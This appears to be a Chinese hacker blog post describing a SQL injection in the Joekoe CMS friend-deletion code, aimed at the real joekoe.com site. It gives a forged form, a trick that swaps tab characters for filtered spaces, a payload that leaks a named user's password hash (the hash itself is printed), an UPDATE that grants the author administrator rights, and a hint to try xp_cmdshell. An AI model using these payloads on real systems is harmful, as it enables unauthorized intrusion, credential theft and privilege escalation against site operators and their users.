通过乔客(Joekoe)看过滤空格的突破
以下是本人写的老文章,答应了Joekoe不公布的,不过已经过去好久了,就拿出来给大家,可以解决最近有人提到的怎样突破空格被过滤继续注入的问题:
乔客(Joekoe)SQL版整站系统严重漏洞
发现者:小路
涉及版本乔客SQL版
乔客整站系统很多人在用,不多说了,看漏洞吧
大家来看删除好友部分一段代码
function del_select()
dim delid,del_i,del_num,del_dim,del_sql
delid=trim(request.form("del_id"))
if var_null(delid)<>"" then
delid=replace(delid," ","")
del_dim=split(delid,",")
del_num=UBound(del_dim)
for del_i=0 to del_num
del_sql="delete from user_friend where username1='"&login_username&"' and id="&del_dim(del_i)
conn.execute(del_sql)
next
Erase del_dim
del_select=vbcrlf&"<script language=javascript>alert(""好友删除成功!共删除了 "&del_num+1&" 位好友。"");</script>"
end if
end function
对delid过滤的不好,怎么用呢?
我们现在登陆Joekoe.com 添加一个好友。。。。。
来到我的好友叶面,擦看源代码,看到:
<td><input type=checkbox name=del_id value='572' class=bg_1></td></tr>
我们得到一个自己好友在数据库里的id=572
好了,来吧,我们构造一个htm文件来提交这个漏洞,内容如下:
<form name=del_form action='http://www.joekoe.com/user_friend.asp?action=del' method=post>
<input type=text name=del_id class=bg_1></td></tr>
<input type=submit value='删除所选'>
</from>
到了这里大家会说了,这就简单了阿,哈哈你提交吧,所有空格都被过滤掉了,提交就出错,怎么办呢,大家想到TAB键的空格了吗?这里就要用了,新建一个文本文件,按TAB得到一个空格,我们选中后复制,写到我们构造的htm文件的input框内,如下:
572 and (select password from user_data where username='joekoe')=1
点'删除所选'提交,我们得到什么呢?
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 nvarchar 值 '5393b7236666b938' 转换为数据类型为 int 的列时发生语法错误。
/user_friend.asp,行153
哈哈,5393b7236666b938这就是joekoe的密码的md5值了,如果joekoe开了cookie我们就能进行cookie欺骗了,可是他没有,:(,55555~~~~,于是我们来狠的,提交:
572;update user_data set power='admin' where username='xiaolulu';--
重新登陆,哇~~我成了管理员了,接下来我就不用说了,有兴趣的可以再试试exec master.dbo.xpcmdshell什么的。。。。
忘了说了,因为他用逗号分割id所以access版就不能猜测密码了,很遗憾哦。